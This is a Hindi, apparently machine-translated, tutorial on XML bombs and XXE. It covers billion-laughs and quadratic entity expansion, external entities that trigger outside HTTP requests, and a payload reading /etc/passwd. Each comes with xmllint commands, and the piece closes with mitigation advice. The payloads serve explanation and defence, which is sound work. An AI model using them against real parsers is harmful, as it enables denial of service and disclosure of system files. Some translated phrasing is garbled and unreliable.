🔌 🤳🏾 🤞🏻 XML से बम कैसे बनाये 🐘 ☢️ 📓

Oss- सुरक्षा मेलिंग सूची में विभिन्न XML पार्सिंग भेद्यता की चर्चा प्रकाशित की गई है । कमजोरियां उन अनुप्रयोगों से प्रभावित होती हैं जो पुस्तकालयों को एक नामित स्रोत से प्राप्त XML दस्तावेज़ में एम्बेडेड DTD में नामित और बाहरी संस्थाओं को संसाधित करने की अनुमति देती हैं। यानी अनिवार्य रूप से, ऐसे एप्लिकेशन जो डिफ़ॉल्ट पार्सर सेटिंग्स को नहीं बदलते हैं।

बिल्ली के नीचे XML बम के उदाहरण। यदि आपके पास एक्सएमएल प्रोसेसिंग एप्लिकेशन हैं, तो आप कमजोरियों के लिए स्वयं उन्हें जांच सकते हैं। इस पोस्ट में बमों का परीक्षण libxml2 लाइब्रेरी के साथ शामिल xmllint उपयोगिता का उपयोग करके किया गया है, लेकिन अन्य पार्सर का भी उपयोग किया जा सकता है।

सिद्धांत

एक्सएमएल मानक एक्सएमएल दस्तावेजों को नेस्टेड टैग और विशेषताओं से वैध निर्माणों का निर्धारण करने के लिए डीटीडी का उपयोग करने की अनुमति देता है। एक DTD को या तो एक बाहरी स्रोत के संदर्भ के रूप में प्रस्तुत किया जा सकता है, या पूरी तरह से दस्तावेज़ में ही परिभाषित किया जा सकता है। एम्बेडेड DTD के साथ उदाहरण दस्तावेज़:

<!DOCTYPE greeting [ <!ELEMENT greeting (#PCDATA)> ]> <greeting>Hello, world!</greeting>

DTD में, तत्वों और विशेषताओं के अलावा, आप संस्थाओं को परिभाषित कर सकते हैं। नामित संस्थाओं का उपयोग करते हुए एक दस्तावेज का एक उदाहरण:

 <!DOCTYPE greeting [ <!ENTITY target "world"> <!ELEMENT greeting (#PCDATA)> ]> <greeting>Hello, &target;!</greeting>

वैधता के लिए इस दस्तावेज़ की जाँच करें और संस्थाओं का खुलासा इस प्रकार करें:

 $ xmllint --noent --valid hello.xml

एक्सपोनेंशियल ब्लोइंग अप एंटिटीज

नामित संस्थाओं को न केवल चरित्र के तार में विस्तारित किया जा सकता है, बल्कि अन्य संस्थाओं के अनुक्रम में भी विस्तारित किया जा सकता है। पुनर्संरचना मानक द्वारा निषिद्ध है , लेकिन घोंसले के शिकार की गहराई पर कोई प्रतिबंध नहीं है। यह बहुत लंबे पाठ स्ट्रिंग्स (कैसे अभिलेखागार के समान) के एक कॉम्पैक्ट प्रतिनिधित्व की अनुमति देता है और अरब हंसी के हमले का आधार बनता है, जिसे 2003 से जाना जाता है ।

 <!DOCTYPE bomb [ <!ENTITY a "1234567890" > <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;"> <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;"> <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;"> <!ELEMENT bomb (#PCDATA)> ]> <bomb>&d;</bomb>

आधुनिक XML पार्सर ऐसे हमले से सुरक्षा प्रदान करते हैं। उदाहरण के लिए, डिफ़ॉल्ट रूप से libxml2 मानक के साथ इसके सख्त अनुपालन के बावजूद, इस दस्तावेज़ को पार्स करने से इनकार करता है:

 $ xmllint --noent --valid bomb1.xml Entity: line 1: parser error : Detected an entity reference loop &c;&c;&c;&c;&c;&c;&c;&c; ^ bomb1.xml:8: parser error : Detected an entity reference loop <bomb>&d;</bomb> ^

संस्थाओं को प्रकट करते समय यह कितना फुलाता है, यह देखने के लिए, आपको इस हमले से सुरक्षा को स्पष्ट रूप से अक्षम करना होगा:

 $ xmllint --noent --valid --huge bomb1.xml | wc -c 5344

जाहिर है, पहले से दिए गए लोगों के साथ एक नई संस्था को जोड़कर, आउटपुट स्ट्रीम को लगभग कई बार फुलाया जाता है क्योंकि पिछले इकाई में लिंक एक में जोड़े जाते हैं। इनपुट दस्तावेज़ को बाइट्स की संख्या से लिंक की संख्या के आनुपातिक रूप से बढ़ाया जाता है। यानी इनपुट XML दस्तावेज़ के आकार और आउटपुट चरित्र स्ट्रीम के बीच एक घातीय संबंध है।

एक छोटे से XML दस्तावेज़ को टैग और वर्ण स्ट्रिंग में पार्स करने के कार्य के लिए संसाधनों (जैसे रैम और प्रोसेसर समय) का अनुपातहीन उपभोग हो सकता है। यह एक विशिष्ट DoS हमला है, जो विशिष्ट और सबसे खराब स्थिति में उपयोग किए जाने वाले एल्गोरिथ्म की जटिलता में महत्वपूर्ण अंतर पर आधारित है।

संस्थाओं का द्विघात मुद्रास्फीति

जैसा कि हम पहले ही देख चुके हैं, "बिलियन लाफ्स" हमले का मुकाबला करने के लिए कुछ पुस्तकालय नामित संस्थाओं के पेड़ की गहराई पर एक सख्त कृत्रिम प्रतिबंध लगाते हैं। यह प्रतिबंध वास्तव में इनपुट XML फ़ाइल के आकार और वर्णों की आउटपुट स्ट्रीम के बीच एक घातीय संबंध को रोकने में मदद करता है। हालाँकि, अपेक्षाकृत छोटे XML दस्तावेज़ के साथ सर्वर के सभी संसाधनों का उपभोग करने की कोशिश करने वाले हमलावर के लिए, इन मूल्यों के बीच एक घातीय संबंध आवश्यक नहीं है। एक द्विघात निर्भरता पूरी तरह से ठीक है, और इसके लिए, नामित संस्थाओं का एक स्तर पर्याप्त है। हम बस एक लंबी इकाई को कई बार दोहराएंगे:

 <!DOCTYPE bomb [ <!ENTITY x "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx...x" > <!ELEMENT bomb (#PCDATA)> ]> <bomb>&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;...&x;</bomb>

 $ xmllint --huge --noent --valid bomb2.xml | wc -c 1868

--Huge विकल्प में जोड़ा गया है यदि आपके संस्करण का libxml2 मानता है कि उपरोक्त उदाहरण एक हमला है। उसे इस प्रतिबद्ध द्वारा सिखाया गया था, अर्थात्। पोस्ट के प्रकाशन के समय, इसी परिवर्तन ने रिलीज़ में आने का प्रबंधन नहीं किया।

बाहरी संस्थाएं

एक्सएमएल मानक में न केवल तैयार किए गए तारों से इकाई मूल्यों को प्राप्त करने की क्षमता है, बल्कि बाहरी संसाधनों तक पहुंच भी है, उदाहरण के लिए, HTTP प्रोटोकॉल का उपयोग करके। यह एक हमलावर के लिए खुलता है, जिसके पास एक ज़ोंबी सर्वर पर XML पार्सर तक पहुंच है जो पोर्ट को स्कैन करने और यहां तक कि अपने आईपी पते को छिपाने के लिए अन्य सर्वरों पर DoS हमलों को व्यवस्थित करने की क्षमता रखता है। यह एक्सएमएल फ़ाइल, जब इसे बाहरी संस्थाओं का समर्थन करने वाले पार्सर के साथ पार्स करने की कोशिश की जाती है, तो वह हैबर के आरएसएस फ़ीड्स के लिए तीन अनुरोध बनाएगा:

 <!DOCTYPE bomb [ <!ENTITY a1 SYSTEM "http://habrahabr.ru/rss/best/" > <!ENTITY a2 SYSTEM "http://habrahabr.ru/rss/hubs/" > <!ENTITY a3 SYSTEM "http://habrahabr.ru/rss/qa/" > <!ELEMENT author ANY> <!ELEMENT blockquote ANY> <!ELEMENT category ANY> <!ELEMENT channel ANY> <!ELEMENT code ANY> <!ELEMENT description ANY> <!ELEMENT generator ANY> <!ELEMENT guid ANY> <!ATTLIST guid isPermaLink CDATA #IMPLIED> <!ELEMENT h3 ANY> <!ELEMENT i ANY> <!ELEMENT image ANY> <!ELEMENT item ANY> <!ELEMENT language ANY> <!ELEMENT lastBuildDate ANY> <!ELEMENT link ANY> <!ELEMENT managingEditor ANY> <!ELEMENT pre ANY> <!ELEMENT pubDate ANY> <!ELEMENT rss ANY> <!ATTLIST rss version CDATA #IMPLIED> <!ELEMENT title ANY> <!ELEMENT url ANY> <!ELEMENT bomb ANY> ]> <bomb>&a1;&a2;&a3;</bomb>

 $ xmllint --noent --noout --load-trace bomb3.xml

ऊपर दिए गए उदाहरण में, आप पार्सर को - गननेट स्विच को पास करके नेटवर्क से पठन संस्थाओं को रोक सकते हैं।

उसी तरह, आप एक संवेदनशील एप्लिकेशन को संवेदनशील जानकारी जैसे डेटाबेस के लिए पासवर्ड के साथ स्थानीय फ़ाइलों को पढ़ने के लिए मजबूर कर सकते हैं। दुर्भाग्य से यहाँ - तोप मदद नहीं करता है:

 <!DOCTYPE bomb [ <!ENTITY passwd SYSTEM "file:///etc/passwd" > <!ELEMENT bomb (#PCDATA)> ]> <bomb>&passwd;</bomb>

 $ xmllint --noent --nonet --valid bomb4.xml

इस तरह के हमले को एक्सएक्सई (एक्सएमएल एक्सट्रीम एंटिटी से) कहा जाता है। एक ताजा उदाहरण PostgreSQL, CVE-2012-3489 में भेद्यता है ।

निष्कर्ष

अब ऐसे हमलों को रोकने के बारे में बात करते हैं।

बेशक, उन पुस्तकालयों के संस्करणों का उपयोग करना आवश्यक है जिन्होंने इन और अन्य कमजोरियों के खिलाफ प्रतिकार लिया है। आपको XML दस्तावेज़ को पार्स करने में खर्च किए गए संसाधनों को स्पष्ट रूप से सीमित करना चाहिए। उदाहरण के लिए, libxml2 के लिए, यह xmlMemSetup () को कॉल करके और अपने स्वयं के मेमोरी प्रबंधन कार्यों को पास करके किया जा सकता है, जो आपको बहुत अधिक आवंटित करने की अनुमति नहीं देगा। बाहरी संसाधनों तक पहुंच को सीमित करना भी आवश्यक है, उदाहरण के लिए, अपने स्वयं के लोडर को लिखकर ।

हालांकि, एक राय है कि ऊपर सूचीबद्ध सभी उपाय लक्षणों के उद्देश्य से हैं, और सूचीबद्ध कमजोरियों के सार पर नहीं। वास्तव में, XML दस्तावेज़ को पार्स करने का कार्य डीटीडी के अनुसार (या निहित) के अनुसार कहाँ से आया है? क्या आपके आवेदन के नियमों के अनुसार इस XML दस्तावेज़ को पार्स करना अधिक सही नहीं होगा? आखिरकार, आप अपने हैंडलर के कोड में नियमित भावों के अनुसार HTML फॉर्म में डेटा की वैधता की जांच करते हैं, न कि फॉर्म डेटा के साथ आए। तदनुसार, आपके पास पर्याप्त एक्सएमएल-पार्सर है जो डीटीडी (और इसलिए, गैर-वैध) का उपयोग नहीं करता है, जिसमें आवश्यक इकाइयां प्रीलोडेड हैं।

XML से बम कैसे बनाये

सिद्धांत

एक्सपोनेंशियल ब्लोइंग अप एंटिटीज

संस्थाओं का द्विघात मुद्रास्फीति

बाहरी संस्थाएं

निष्कर्ष

More articles: